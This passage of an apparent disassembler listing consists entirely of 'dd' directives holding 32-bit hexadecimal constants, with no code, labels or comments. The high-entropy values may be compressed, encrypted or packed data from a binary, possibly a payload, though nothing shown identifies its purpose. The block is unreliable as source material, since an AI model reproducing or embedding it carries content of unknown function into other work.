		dd 4525F89Bh, 0B06240C5h, 2684A323h, 3CEFC0A3h,	6D0D008Eh
		dd 239E421h, 0B60A0BCh,	0B681A9E9h, 0AAF4072Ah,	0D990A16Bh
		dd 0DC834012h, 0C82E9A4Ch, 150A8A6Ah, 0BB40506Fh, 0FDDD99Dh
		dd 0BCF98792h, 459AC3C0h, 730FFC20h, 0B8EB1D11h, 0CFA0F9h
		dd 0DBBD5A3Dh, 0E6A4943h, 0B5B0F962h, 0D69F0042h, 0C50184A2h
		dd 78BDDAE7h, 0B4360EE5h, 0E74A513h, 0A834E494h, 0D782F180h
		dd 52E4CE8Dh, 0D6980100h, 0A64280CAh, 544D3F70h, 91A13A85h
		dd 0C8118137h, 9278BB14h, 5034288Fh, 42707087h,	0DF03C8h
		dd 0EDB4A712h, 99F5BC64h, 0C4B98A7Ah, 94098039h, 80781F76h
		dd 833E17E9h, 81835C0h,	6D8011A4h, 73A6FF7Eh, 0F89700F7h
		dd 0EED39DCFh, 0C052F03h, 260ED56Ah, 0A2B50082h, 207BA174h
		dd 972CE89Ch, 0B1ED1700h, 70B9AA76h, 210D2402h,	621609E4h
		dd 60136405h, 0E2A3DECCh, 10277700h, 64CC28A7h,	0A96F0B56h
		dd 0B490AD6Eh, 9600DA78h, 0D2678D18h, 1457B722h, 0D04D3F0Ah
		dd 2A4A12h, 51A39628h, 900008DFh, 9B74A21Fh, 48A526F3h
		dd 540B1042h, 8892E938h, 0AEEB6C60h, 9DB90160h,	5961C7C1h
		dd 0CC009431h, 0A195DFE1h, 9902E5D9h, 6B140277h, 25B46653h
		dd 0E0A3030Fh, 0DB989A6Ch, 510739D6h, 41389D40h, 0B3541FC0h
		dd 1D643F14h, 0FF3D9085h, 0DFD08CAFh, 0FB87B894h, 50B0E860h
		dd 0EED9647h, 0CF82C166h, 0D066760h, 2CB343E0h,	0E7A5405h
		dd 9C2C681Fh, 39E35241h, 0D268C0h, 0FDC601B6h, 0FF06595h
		dd 0D8A3E528h, 912351Dh, 93494466h, 1094F0D0h, 13CE001Fh
		dd 7F1E90DAh, 5500CF2Bh, 96FC067Ah, 4D320B8Bh, 6815FC99h
		dd 0A3008008h, 856A80E8h, 0CD2B6910h, 72009452h, 0DC1B4564h
		dd 9479E889h, 31F9924Ch, 35C642BCh, 0C4CCF2BCh,	98945419h
		dd 58220319h, 0E2AA7700h, 0B75BFAB4h, 0FBA76800h, 3CDCC3E4h
		dd 698494DFh, 645B3418h, 0BCC5B900h, 5A2848FDh,	0AE670065h
		dd 0C34C4345h, 0FE5CF2F7h, 0BE474DDh, 18B18F0Bh, 3C308887h
		dd 0B8F47A05h, 0A309708Bh, 10C0FAA1h, 61006A81h, 0BFF74526h
		dd 38BB3Eh, 6B1CB9A2h, 7BD60A48h, 8024A0A1h, 26F23C99h
		dd 12220970h, 40CD778Fh, 8C3F75A8h, 0A4982CE6h,	836EDB09h
		dd 4850002Dh, 50CF7E7Ah, 94A4A40Ch, 8CA761D0h, 729C32A1h
		dd 1B927300h, 0EC56ADDEh, 0F5D814B1h, 1680DC3Ch, 0FB9E685Dh
		dd 584D700h, 0E49C7AF6h, 384030DEh, 8E166778h, 9BA57940h
		dd 23FD16BCh, 16D80330h, 157473CDh, 14614605h, 0AC067917h
		dd 0E96FDEh, 3334CC53h,	0B5E68560h, 0FD061A03h,	888ADFEEh
		dd 0A08F1B0Bh, 7023CB8h, 9FCB4B8Bh, 0CC2FF213h,	0F812284Ch
		dd 10CCEBE4h, 0F1390084h, 3AD3F236h, 0D900952Dh, 0A072A4C8h
		dd 0CD7A5Ah, 0B8FD7164h, 7670E936h, 18B5920h, 112841B9h
		dd 65846665h, 0C81BC860h, 9692241Dh, 0F1065AC0h, 2F88397h
		dd 3E3A132Ch, 8CB1A337h, 0D03D35h, 0D3A8C00Fh, 2499FA88h
		dd 0CDEEBDh, 0ACFEF43Eh, 6A004E0Bh, 0C852ED7Eh,	0D67C32h
		dd 12D1E7BBh, 78199A2Ch, 686EAE1Fh, 24E94E40h, 0C263B1h
		dd 0FBA99FCAh, 0E071FC89h, 3935E500h, 4D5077E8h, 78CC3E08h
		dd 0ADD54C7Bh, 0C4992A00h, 38759DA1h, 68182B7Ah, 78486150h
		dd 767100BCh, 9F571305h, 47F89E79h, 0F20B9576h,	87C6CCDDh
		dd 0CBF0F9F8h, 7506766Dh, 9E7800ACh, 0A7A6D8A1h, 8C00B7D1h
		dd 0EA5FFD86h, 1DC52FDBh, 0C6BAF8AEh, 0BCFE7502h, 6DFD3401h
		dd 0C882B61Ah, 7A664080h, 1C703C16h, 83175E00h,	13423F54h
		dd 2B740012h, 26C232C0h, 49006CF0h, 0C83B63CDh,	6AB92C1h
		dd 0CA718A19h, 0AC052181h, 0AAA3BAB4h, 18669040h, 1459D8h
		dd 98020795h, 6505D778h, 89EFEA06h, 1C2860CDh, 409F2CE9h
		dd 0F4C41774h, 66002085h, 14E7952h, 0BE03054h, 9CA3350Ah
		dd 61A94106h, 0A0094F2Ah, 0AFA90250h, 0AB291700h, 6E08C75Fh
		dd 0F472005Dh, 9741632Fh, 0BC0DD678h, 79CFE8C5h, 0C61EC68Ah
		dd 0E7AD0784h, 7F194C7Bh, 7F07BD44h, 0E6360AA4h, 0C0885E4Bh
		dd 7AE02C54h, 61A8E205h, 0DC406957h, 0EA2A2D4Ch, 0D9A51FDAh
		dd 7150580Dh, 3E3DF578h, 2EB50021h, 7C5A237Eh, 0B7E708CBh
		dd 0C400CCEFh, 0A6C7975Ch, 1253EED8h, 4AFCD592h, 8EBC1920h
		dd 5D72B56Ah, 0DDA58000h, 0D6580430h, 0EA0680FFh, 7DB5348h
		dd 13FFE5Bh, 68615236h,	6157EB17h, 0BFA8801Ch, 0FE516F50h
		dd 0DEB70760h, 80E3E96Ch, 3061A95Bh, 0B618250Ch, 53D99F0h
		dd 0F97E476Bh, 0D2C02086h, 0BA00DFAAh, 36EBCE1Dh, 0C5788Dh
		dd 6CAE5808h, 27C317CBh, 0B09B8203h, 3E18F2E7h,	7C2452C0h
		dd 0DEF7C02Ch, 4773927h, 41D0AB1Fh, 0C042968Eh,	6DD8BFB3h
		dd 0F5F0D7h, 263AC2C5h,	48CAB07Bh, 0DF007E74h, 9C8E1A2Ah
		dd 0C0B5ADE9h, 151C4C10h, 0BD0069A2h, 373B8878h, 82DECDh
		dd 554F181Eh, 0B7EFF812h, 1DAE1500h, 80397BDh, 0CDFF007Fh
		dd 0D6E1780Fh, 0B70069F9h, 81A996EDh, 1BAFCC5Ah, 802C0DFEh
		dd 90E431E0h, 0F953DD07h, 194311F3h, 0C592C08Eh, 0CC0D0C78h
		dd 7B90B255h, 0BD26EE0Bh, 0C6290038h, 0C94A8A0h, 258A5BD7h
		dd 0F2297150h, 74067CD1h, 0E07CFFh, 36A9E555h, 334FD994h
		dd 0CA199B03h, 9B35F032h, 0AEA6E0D6h, 658800CBh, 0D9DBB493h
		dd 0C86EE077h, 61B2A041h, 436AE5h, 335A5B13h, 0D8579FCCh
		dd 0ED1BA1C0h, 6034D704h, 32FF918Bh, 59012344h,	0C81CF9CFh
		dd 0F8802781h, 0ADAA492Dh, 75FCC4D7h, 22001578h, 1CEEE58Eh
		dd 0C5B0AC7Eh, 222E1779h, 8E20E068h, 0F39986Eh,	387D8D95h
		dd 0D560C2DCh, 0E0A0B632h, 0F708AB1Bh, 58946C01h, 1F3E5549h
		dd 0FACCD840h, 2AD0A690h, 0E4C843C7h, 99B90087h, 4CADEAF3h
		dd 0D7EA9414h, 42986F00h, 0F0EDE66Bh, 0DF890012h, 0CC06990Bh
		dd 0EC01E126h, 0E348AA33h, 8851CF4Dh, 0DC50B353h, 2811D90Dh
		dd 3D0723Dh, 0D6E4C01Ah, 52E89B47h, 0BA05B74Fh,	0C9D9F52Dh
		dd 0BB7FBC02h, 2FB222B0h, 4DCA8098h, 0FCC470A0h, 0B82DC630h
		dd 6055D0BFh, 66527156h, 950EB494h, 20FFF96Ch, 8108BFB9h
		dd 0EA26012Eh, 0A160A082h, 52D44188h, 16398024h, 44AE727Fh
		dd 0B4F705E0h, 0C0142539h, 0E3B75C77h, 3A403660h, 6828DE8h
		dd 190DB2B8h, 1A0391ABh
		dd 0CCFCA545h, 3257D939h, 267C28C4h, 517614h, 0BB6D35E8h
		dd 0C20DB3ACh, 798434DDh, 378A0EEh, 0E64AED3h, 5F7E0470h
		dd 0E7E1E0BBh, 446980ACh, 950DE959h, 0F4CA0015h, 71C1EC30h
		dd 0D612B9C5h, 0A062C7EBh, 4CA0B8B4h, 7E1B88A8h, 0C6749A09h
		dd 0C1880048h, 72A68D30h, 5938C008h, 0AFD887ABh, 5ADDE4A0h
		dd 0C6C6149h, 0B1F9AC6Dh, 307E1FCAh, 0F319C0A6h, 7D3BD4BAh
		dd 750F0D0Ch, 4AE17Ah, 656D9254h, 0B72247C8h, 0C09DCD00h
		dd 933455A6h, 0F8C74B5Ch, 4B097F0Ah, 270CFDABh,	56B2BF48h
		dd 0CA84788h, 0CB615B57h, 0F70E6F0Fh, 1B81809Fh, 246624DBh
		dd 1118560Dh, 185228ACh, 39C57600h, 654730Fh, 3A1F0F8Ch
		dd 0C01C3001h, 0D5452F35h, 0DB48C1F9h, 51CA85D8h, 9BC4240Fh
		dd 95181091h, 30FE89B1h, 1607F48h, 32500106h, 42C5D19Bh
		dd 0F6119AB0h, 59110827h, 77100420h, 2E057FD6h,	5D2A80CFh
		dd 0A31D713Ah, 5F406709h, 504B1DAFh, 215E8D1h, 0DB12BEF4h
		dd 0E0648405h, 0B1033779h, 0A46325B8h, 118BD8E1h, 81C700E8h
		dd 0DB01557Dh, 0C249CB42h, 0AE198618h, 996B0041h, 377185F8h
		dd 9D00FA45h, 5FF576EAh, 612A8EDBh, 34A73084h, 0D85C5223h
		dd 0CB718320h, 0BA3B2E9Fh, 0DAFA00F1h, 2EC066E5h, 632C1C7Eh
		dd 0B7913819h, 89FBE10Fh, 8DE79901h, 29E5EF7Eh,	88BF6094h
		dd 0E5010892h, 0EF18CBC5h, 2E30BADBh, 8D9B0028h, 0CD02D866h
		dd 97A34C7h, 6ED7D300h,	476AB90Eh, 0E7A1C6D1h, 271F79B3h
		dd 6007C7Ah, 121EA4E5h,	0F157078Eh, 0D087835Ch,	8959FC4Dh
		dd 182765Ch, 8E21C28h, 20801B88h, 9FA7E80Ah, 0FE0612B3h
		dd 0B5EBC46Ah, 4BF030h,	0A145B44Dh, 0F8BD1982h,	99F42900h
		dd 0EC341036h, 0FB28017Bh, 5CEEF93Dh, 0B259D812h, 9D9C1900h
		dd 3436E041h, 85D10F3Bh, 0E4C02F87h, 61E2CA09h,	8C8A9E00h
		dd 6F203FDCh, 8E4330D8h, 9685A640h, 0EA93B300h,	0A7B1BBEh
		dd 915300B9h, 0CBD6BAF9h, 0C900A70Bh, 8DC69BD0h, 3F5A5C4Fh
		dd 0C88716D9h, 9C3C4C7Ah, 6892890h, 0B649CCh, 0C7BADE09h
		dd 864D0FE2h, 301B2D01h, 3A4E1E2Eh, 0B3775451h,	0C5A77BFCh
		dd 40446141h, 0EAEE2A0h, 9C00E4A2h, 7D9FD2F8h, 64EC52ABh
		dd 414528E7h, 0F6CEAD12h, 27E620h, 75BE63C5h, 0F7B99C97h
		dd 10B3430Ch, 26F14Eh, 7C911E73h, 18626B96h, 5F52B503h
		dd 0E00BF9DFh, 0DB0872h, 1346B858h, 42DDAB0Ah, 0AA44FA0Ch
		dd 185B714Ah, 508554EFh, 0EC1CA98Ah, 0ACA8C822h, 95D44h
		dd 2B403DDBh, 73DC50B2h, 0AE7FDE07h, 0A7904297h, 0B1B0B9h
		dd 152E02E8h, 431B80ABh, 60400D3Eh, 0B3373940h,	0B4070930h
		dd 2C02FD5Ch, 1C40D31Fh, 0CD000AB9h, 84C5BF8Bh,	13982Fh
		dd 0E2728D94h, 0DDDEF618h, 45538A06h, 0A95226h,	9DF5DB67h
		dd 8F7D97A5h, 8236C503h, 119E77Ch, 6A7FC8E0h, 30B42231h
		dd 0DC525CB2h, 0FAEA15B0h, 98CD00B4h, 0BC92600Dh, 33C30016h
		dd 27E3B1A7h, 900F45Eh,	0BAAAAC06h, 245C4961h, 637CEF41h
		dd 5117437Ch, 8A00E34Eh, 80C4313Dh, 0F09B00D7h,	44EC2F83h
		dd 351D8185h, 58F0617Bh, 0E886A5h, 9BC348CAh, 0FBE9B226h
		dd 369C91C0h, 47C43EEh,	7ACB2EF6h, 359088F0h, 750B1540h
		dd 0A85B0012h, 8446997Dh, 2F0FFA44h, 40C694h, 50280F92h
		dd 33030C5Ch, 0CE3907F1h, 9F80200Fh, 98B98032h,	0B74874h
		dd 1FF4B185h, 0AE97442Eh, 0B5382901h, 0AD0572E8h, 49A147FCh
		dd 0DC821C12h, 0B021FD69h, 1B0584B5h, 0C5E06928h, 0A06A107Ah
		dd 760EC30h, 723B4439h,	1684061Fh, 0F9F8E935h, 96675B01h
		dd 0C2856EAh, 26CC1424h, 830EE9Fh, 0B780A6BEh, 35D06486h
		dd 1092355Ch, 0C13C0071h, 4E762962h, 2DB470C1h,	60BDF7B0h
		dd 0EB5501F5h, 0D120AF48h, 0D3C1DEE0h, 9182637h, 10BE35C7h
		dd 0A408B4C0h, 664A309Ch, 6B872BF1h, 20D7F901h,	0D97169C8h
		dd 26B542D0h, 0F75635h,	0B11AA6B3h, 0B0CB7010h,	68BA00FBh
		dd 58241136h, 5500DF82h, 5F39A007h, 0B500DA0Ch,	0EE5DB0F3h
		dd 1BCF72F4h, 0D913F81Ah, 0C466D9DAh, 0FD940A14h, 78301850h
		dd 48B32929h, 0D8E04CE4h, 3507C85Ah, 0EA7F4C74h, 86291EE0h
		dd 7EA30522h, 580F13Ah,	4924D328h, 0F8904AD4h, 0CF142CB9h
		dd 7D83544h, 0E915902Eh, 996593E0h, 0D4B150EAh,	0D04C7A48h
		dd 0DD839478h, 0E1986EAFh, 0F4F7AECCh, 50575BA9h, 0E91A1DB8h
		dd 0F9F80022h, 0A9C5E3A0h, 0D4009B1Eh, 8D326AD2h, 1242BF9Eh
		dd 2385FA07h, 0A10A3F34h, 0B49E265Bh, 11AB5489h, 0EFEDD4h
		dd 0CD3E8159h, 9C5DDFEBh, 0A7E59B00h, 0D59DF040h, 0FBB04C52h
		dd 498E813Dh, 5978EB85h, 8BE8DB62h, 0F315E401h,	7AB5E6B9h
		dd 502B69BEh, 2A5380B8h, 0F0C33FA3h, 0C1E561Ch,	8A808200h
		dd 60CF8681h, 0C9113917h, 0F648407Ah, 0D138E8h,	3E2EDBFCh
		dd 146BB6Fh, 8A5F10E1h,	32B045FEh, 1AD113C8h, 46EEDC61h
		dd 89335187h, 0CE96B03Dh, 0D04D81B4h, 41FC8CDCh, 0A0780157h
		dd 0DE5D8F9Eh, 9800DB9Bh, 437A9035h, 7CBAF819h,	171200CCh
		dd 15A2183Eh, 0B7011A14h, 92DB5A64h, 0E5D8D2D6h, 0BAB307BCh
		dd 60B41886h, 2B608DB9h, 609E3A58h, 9421DA30h, 1F90B3h
		dd 0F1AAC748h, 0B525BDE9h, 46B27F04h, 0B0C380BBh, 0D227B0B3h
		dd 0DE8B1E68h, 2E2D4055h, 0AD6CC776h, 56F320C0h, 0F04A16BAh
		dd 1D4C3330h, 9900EA90h, 0B226713h, 3D7BF4Fh, 1FFA6F75h
		dd 20BDF7B2h, 0EFCF5C58h, 1A135E00h, 534FD897h,	0B12E3FAAh
		dd 0A7937200h, 0EA05DD08h, 0FB591760h, 0AD08F69h, 0ECD9FCF3h
		dd 905E0038h, 0FD100B82h, 0F7643C54h, 65C43Bh, 3679C55Fh
		dd 18DA8492h, 79E4E546h, 0FA30E3A2h, 9B34819h, 747550D9h
		dd 74380C42h, 7FE14BA2h, 41319E00h, 8A5A404Eh, 0B1C71845h
		dd 422F4868h, 627ED03h,	0BD4EA1h, 5B640A70h, 459D83C3h
		dd 1B43F403h, 0E4AA225h, 1CB14451h, 53B58F00h, 50061ADh
		dd 17D70F97h, 647BDDh, 8D67F4D6h, 70D3A101h, 0C4A62DEEh
		dd 40E55828h, 2CA7A328h, 74BF4Ch, 9F186E5Eh, 0C865D99Eh
		dd 0A38042C8h, 0DFB2D3D6h, 8874EBh, 0F2AE1AF4h,	0E37BEF25h
		dd 84F65E28h, 20463F01h, 0B0A058B2h, 0D7FC6982h, 30F87EDh
		dd 63A1EFh, 42FA718h, 2B8DB2B0h, 38EAC400h, 0C8FD3236h
		dd 0DE551D65h, 8C3A8CECh, 28005AC8h, 0AC50A6D9h, 725BCCh
		dd 9EE99DD0h, 0EB149269h, 98300928h, 0FA939701h, 0E81F9A9Bh
		dd 0C04D6ECCh, 8267FC18h, 0D50247D4h, 7664E6E4h, 5B3448EBh
		dd 0A3BD00ECh, 5EE58D42h, 0C844E65Ch, 845229FCh, 40569FC8h
		dd 907267B1h, 731DEDB2h, 0A8C769DAh, 31C3858Eh,	0B73814FAh
		dd 0B8904C8Bh, 0A5004622h, 0B51C7B9Eh, 3350D4h,	59FEF5DAh
		dd 656603C0h, 0E51862FAh, 63314E91h, 76CE7FE6h,	0C37400ECh
		dd 4892DEE3h, 0CA00BAB0h, 0DD70C5A7h, 920BED41h, 0D2F60128h
		dd 0AEC9101Ah, 0C5B8C3B1h, 0C700077Bh, 0BEC1B19h, 369D9CCh
		dd 0AD70E99Fh, 0B8BE12F1h, 905C40Eh, 161E25BDh,	12076054h
		dd 7C401C72h, 0D8D9DCD4h, 18B0A49Bh, 0B1447AA2h, 0A0A870EAh
		dd 0BA00A641h, 0CED23A3Dh, 248377A3h, 98945981h, 2E8D5168h
		dd 3DC9D50Eh, 0DBAB4023h, 24EAB62Ah, 461C54F2h,	0B598A106h
		dd 4BDCD905h, 0BCC31487h, 2A9B9004h, 2A789816h,	90C0BE4Ch
		dd 7D050065h, 9084C2E2h, 8028C20h, 3CB10B61h, 0AB444878h
		dd 0F175005Dh, 99B7EEAFh
		dd 7000C152h, 0C542F890h, 245B729Ch, 405C3CB2h,	447187C3h
		dd 5673AD03h, 90E0A431h, 0D35B986h, 2F0DB4ACh, 0E9D9C8B6h
		dd 84FD3128h, 53DCE703h, 88CE9E25h, 18A21C70h, 2032CC76h
		dd 0E102EDB3h, 0A609867Bh, 2ADC987Fh, 96F500C5h, 2BC345D6h
		dd 380CBF4Dh, 91BAEF0Eh, 7F7974F4h, 2579DCh, 4C1BC0D5h
		dd 0B3E46799h, 1CB53709h, 0BE28005Dh, 370CF3B1h, 40791FA3h
		dd 0FAC63E72h, 0E523E701h, 7513D89Ch, 779287D8h, 6FAA0969h
		dd 7801B62Dh, 2605B4D6h, 432250h, 0A5728361h, 8F014A0h
		dd 0C8680C01h, 40EEC17Bh, 2C49ECFCh, 8344FC67h,	9C52C42Ah
		dd 0C24F1FB8h, 0B8A1802h, 69577665h, 54664220h,	0CF18633Eh
		dd 0EA4CF1C2h, 993B50B2h, 11C18098h, 1B70E37Eh,	0C4B40FC9h
		dd 24EFEF72h, 5A2A6900h, 0CFB0E712h, 13610C48h,	0F821470Bh
		dd 542405EEh, 7A4E001Ch, 0E33766C7h, 203D57E9h,	4FD28CF5h
		dd 2771D8h, 52ACDB7Dh, 31B2A10Eh, 649A9407h, 87D0E8E7h
		dd 2E98CF0h, 0BC8E0261h, 904CDA81h, 825EE80Fh, 0A375632Ch
		dd 85E87945h, 68589A04h, 4622A814h, 0FCF45C10h,	0FEFF007Ch
		dd 0CD9B3174h, 309247BFh, 64C82B2Ch, 76EC5860h,	2024A163h
		dd 44EAF852h, 80D600A8h, 759EE1C6h, 8300D7ACh, 0FA279C37h
		dd 534D4F04h, 0BE12F40Eh, 0BBE821ECh, 92FCEC6Ah, 6BE8DF00h
		dd 2C5FCEF8h, 39FF009Dh, 140B09B0h, 0D8919A46h,	0FCF64C0Ah
		dd 0A0AAD381h, 0D8209041h, 0CEA28926h, 0F3002C66h, 12F2DA82h
		dd 7C46D35Fh, 0F1CD0C1Bh, 0EF80FE77h, 5807F7F3h, 53D37933h
		dd 67879D10h, 1118020Fh, 0F984A643h, 40CA43E0h,	9D0AB0A5h
		dd 14A4A4CEh, 3027E461h, 0C19960h, 0D163F2C7h, 6E43B01Eh
		dd 64056B05h, 3CC8EEF0h, 9E4F0388h, 2E210F18h, 0E3B098F4h
		dd 56D3F03Ah, 0A99700FCh, 0F371F9F2h, 2AEE009Dh, 7437B2B7h
		dd 8D54EDD8h, 313155C8h, 0EACD91ADh, 0CF031C32h, 1C5DE565h
		dd 638D0599h, 0A2260944h, 0F102F41h, 54A74008h,	424034h
		dd 31E2580Fh, 64FD6EDAh, 6CB8BA73h, 37A3CF03h, 88296D9h
		dd 6859EF79h, 976B6A00h, 0BC2FC3Eh, 0FB78AAA8h,	0F34C6031h
		dd 42D6A100h, 0D3C6F3C3h, 27A22C33h, 532FC0B4h,	0DE004A13h
		dd 49AF3479h, 249C2D91h, 6724BA57h, 0A0F747E2h,	339AC948h
		dd 34769377h, 1F5A9B12h, 0F0050C16h, 540455F1h,	59006377h
		dd 563B95E8h, 0A06D4400h, 26BFBE51h, 0E0D40CF0h, 4629ACEEh
		dd 20E4B800h, 4227732Dh, 2494014Dh, 0FFDB5737h,	30ECCA3Fh
		dd 11E7AB01h, 0A8F6C434h, 838770h, 0DC60B95Ah, 1339DF0Fh
		dd 211F6892h, 5B44583Bh, 34A4E9E6h, 43C00196h, 0F2A27ACFh
		dd 15BC36B1h, 0D44991h,	0C52B9E75h, 7DA73BFFh, 0D8D425CFh
		dd 0B9F72010h, 3EB44452h, 237C009Dh, 0E0D1A6C4h, 51900427h
		dd 90852667h, 3BE1B1B4h, 0A4B4180Eh, 84A240C4h,	2EED4792h
		dd 50405E7h, 20FFE9F5h,	393EB974h, 8D110899h, 0F7AA2E00h
		dd 86A584E7h, 0F96C7800h, 4D0E70F2h, 44851679h,	4D90048h
		dd 5163E2E3h, 6D3E7812h, 10C1DC24h, 7C48B4E0h, 84C64805h
		dd 8264A3CFh, 7F80C121h, 58BC70FDh, 14409D4Ah, 0D6797C97h
		dd 8280B1A5h, 40BAD218h, 9565ACE0h, 38941440h, 870009B6h
		dd 21360D9Dh, 0C9C47FECh, 4DC07E7Ah, 0F0821115h, 2C990B17h
		dd 1B8242F4h, 9867D195h, 0BA09682Ch, 4F4A931h, 0E422E5B8h
		dd 80618061h, 0D439D961h, 8CDBE2h, 0DF12B432h, 0E4833690h
		dd 9C9B59FCh, 4A140500h, 0C7113EADh, 0F29A5B59h, 0E8402EA9h
		dd 4663EAE7h, 22DD1F91h, 3F001868h, 731450C2h, 0F4CDD7DFh
		dd 0D06B269Bh, 10250028h, 0E0B2E7CBh, 66E3E902h, 488E67B5h
		dd 963FB77Ch, 0D7E26020h, 58D289E9h, 0C2AAA060h, 7CB5F0CCh
		dd 111D00E2h, 4BBCE66Ch, 8F00B69Ch, 0BA3B01F2h,	12E5BEB1h
		dd 0C85EEA1Eh, 0D931672Ch, 0ECC4714Ah, 0E40F2832h, 6060467Eh
		dd 410630A7h, 905D000h,	0ED3DE39Fh, 0CF2607C3h,	21C82970h
		dd 80BB3A59h, 0F0F968B9h, 71979AE2h, 8419017Bh,	0CF340A29h
		dd 325EEDEDh, 0BA41070Ch, 66607CD4h, 0A4F7FF3h,	0D9DD09B3h
		dd 0C4A0407Ch, 57074294h, 0EE72C9Eh, 40269152h,	4E6E074h
		dd 7CFD81CFh, 1F88C2A5h, 0F9E45527h, 2FC5E0A2h,	0BC60423Eh
		dd 40A4C5h, 4101E0F4h, 16DB38F2h, 0C021A34Ah, 0C4E612DAh
		dd 24EF2A2Ch, 0E0349243h, 89FC01h, 7E650561h, 3077F60Fh
		dd 0A44C584Ah, 0C4994Eh, 1C33D3Fh, 6C047A61h, 3472E2F3h
		dd 645BB32Ch, 6A827B0Eh, 68C8D467h, 97C0C84Ah, 7AFCFAh
		dd 7CE1AA4Ah, 739C09F4h, 9B3DB97Eh, 58D42E40h, 0E6E80500h
		dd 3A9D0CEh, 2375E404h,	1007ED66h, 0AB06F9E1h, 87F0CE40h
		dd 0B2CD0039h, 10719FFDh, 0A100C7C8h, 62BADD76h, 0AFF563h
		dd 544607A2h, 8F21F206h, 0E60D5800h, 0D5DAB72Dh, 1CC6008Dh
		dd 0BA73CE8Eh, 79C0E3A1h, 0C22AB790h, 0DAB606F2h, 18CF5E51h
		dd 0A752F600h, 95643146h, 0AD9E01A5h, 8DD8458Bh, 0B76080BCh
		dd 66DB6275h, 0CBB014C5h, 5B30DE99h, 0B174B341h, 334A2800h
		dd 0B6D37C29h, 0D097600Eh, 0DE91BCD0h, 0FB3B28C1h, 0E6DC069Eh
		dd 7D863BC1h, 0A2CA5287h, 1DD4A19Ch, 0C7E100EEh, 206A02B1h
		dd 0E9194BCFh, 336762E0h, 804D643Ah, 21BA27E1h,	2281625h
		dd 141720D2h, 0C490FBC1h, 9E1D494Eh, 771D6A11h,	542E5FC1h
		dd 8058E3DFh, 0C799CF96h, 0D1F52802h, 0D3190860h, 0EE4EDD00h
		dd 5D900A5Eh, 0B1E82996h, 0E2FB8C88h, 0D73ED1A9h, 5710001Ah
		dd 0F50F3264h, 99CD009Bh, 0BA0E442Dh, 4C03A748h, 0FDC175B8h
		dd 0DCAAB066h, 6C610036h, 8A08D279h, 0A6FA2C44h, 0C015DB00h
		dd 2D849AA5h, 0C27632h,	2F422B73h, 1F3D7203h, 0F9F7401Eh
		dd 0F0C1E930h, 95891DFBh, 83B10486h, 0B3848094h, 524826Ah
		dd 0C4600C59h, 12FD203h, 40A65BC0h, 809BDB24h, 0B1F178C9h
		dd 7623253h, 0DE955058h, 87D5C04Ch, 980A9196h, 0E8E416FDh
		dd 6149E000h, 3965426Dh, 8C523C46h, 8ED56905h, 0FFC0293h
		dd 6A2192A2h, 0B0BE830Bh, 6E79DF00h, 9D460EEAh,	6923C0F3h
		dd 214DFA33h, 69C6FDh, 0BBC479A1h, 36E0BD4h, 0BA63C239h
		dd 0B6AE0602h, 3C292C50h, 0C966FD1Eh, 77E882F9h, 0CD38BF00h
		dd 819F8DEEh, 0DAAE006Ch, 0DD5EF193h, 2D0033A4h, 0E444B5C4h
		dd 300FA1h, 0B415C253h,	7B2AAAEBh, 1C645E00h, 592214DEh
		dd 914A1D17h, 0A7F2C090h, 0B1ACCB0Ah, 53781500h, 3220F88Ah
		dd 3EC5000Eh, 5E438134h, 0C414928Ch, 314AACBh, 4BAFE86Dh
		dd 5A1006ABh, 7877F7A8h, 0D07AFD06h, 11F0E4h, 48F2DD49h
		dd 94EAB0Dh, 0BF824402h, 0C098C313h, 133A2666h,	685FB45h
		dd 60C676CCh, 0C301C273h, 5C9C3B61h, 20C6EA36h,	0A72F63EBh
		dd 5DEFE600h, 13CDB543h, 0F13C009Ch, 17F997CBh,	98C0A742h
		dd 70413976h, 3AF0043h,	986B1E0Fh, 400EE3Fh, 85440E64h
		dd 584DAC05h, 0B90A31E8h, 394C08Ch, 35A3E074h, 5927D3F0h
		dd 107780A8h, 489FA289h, 1016196Ch, 0DA4F80Bh, 12D0F200h
		dd 1A9ED164h, 83A10015h, 978CA7C7h, 0D800AE4Bh,	72D3002h
		dd 1D94CC77h, 4CCF0E7Eh, 1DE0F884h, 0CBAFF900h,	92E5F02Ch
		dd 7D97028Eh, 7044F6D0h, 0C1EAECAFh, 43FB0318h,	180094A4h
		dd 26D0AE45h, 547A2CC3h, 6398F1h, 0A7549CE7h, 60E17E08h
		dd 80EDDE2Bh, 0C04D680Eh, 2F41DEBh, 51AC6070h, 22345460h
		dd 85437C06h, 1813E0Fh
		dd 0F476097Fh, 2675B2AFh, 9B1F1510h, 77FB0C88h,	9849ADh
		dd 6AA8AC34h, 1A4404D1h, 18008E48h, 78205A65h, 0B070071h
		dd 3B704B66h, 8F1DEEDEh, 0D5475B57h, 4420E926h,	0C0585143h
		dd 31739B68h, 320108A9h, 0E9CB3971h, 0EBC49A87h, 2655008Eh
		dd 0F4E6A2BEh, 10302130h, 0A935B933h, 70F0030Ch, 7D9A6D18h
		dd 2074AA89h, 6F35FCA0h, 4C1D29E6h, 8F247B40h, 236E354h
		dd 0B15CF188h, 8C43AFFAh, 4E8DE9C3h, 0E200AAB0h, 4BAE788Bh
		dd 1666E00h, 0BD982A18h, 0B061F3B8h, 4469002Ah,	6A786425h
		dd 970B4E02h, 0A288AE17h, 925BFCD8h, 1B51C098h,	10A3639Fh
		dd 99007C10h, 4576F295h, 7B62C03Ah, 0A91B0E7Bh,	0F9C09D72h
		dd 7AA30898h, 0CF08A26h, 7D0F3C61h, 82264180h, 92E705D6h
		dd 6500A77Dh, 6CD2B845h, 12E7036h, 3FF1EBF7h, 0C515ECA0h
		dd 12043221h, 38408B18h, 7355957Fh, 0E31200B8h,	0EC4C1585h
		dd 0E17284FCh, 28807D00h, 6FCE1344h, 476803EAh,	5424C4Dh
		dd 0D9614BF8h, 0D04E0200h, 9879721Dh, 0F58B0193h, 4C383F0Ch
		dd 0AE4DD014h, 177B5700h, 98EBA7D9h, 62F8007Eh,	1E1F279Ch
		dd 203CB1C4h, 33158F6h,	70DA1CABh, 1468061Ah, 50FEB518h
		dd 0A800F8F0h, 835E3C9Ah, 30DADE80h, 1F29768Eh,	120004CFh
		dd 20C83CBFh, 0F879C3D7h, 0C77D08EDh, 0F7074835h, 0BC707ED2h
		dd 0C8C3EBEh, 4B50F698h, 5C0E51A8h, 0C00AB968h,	0DA388084h
		dd 6678C013h, 0D9218E1Eh, 5FE83E00h, 79B8FF19h,	0F8EA32h
		dd 2C8BC284h, 42CC413Dh, 1EC84018h, 2E86CB71h, 0FE05188h
		dd 0E780B08Eh, 39B4945Dh, 36157B02h, 0A24E8319h, 0A069B594h
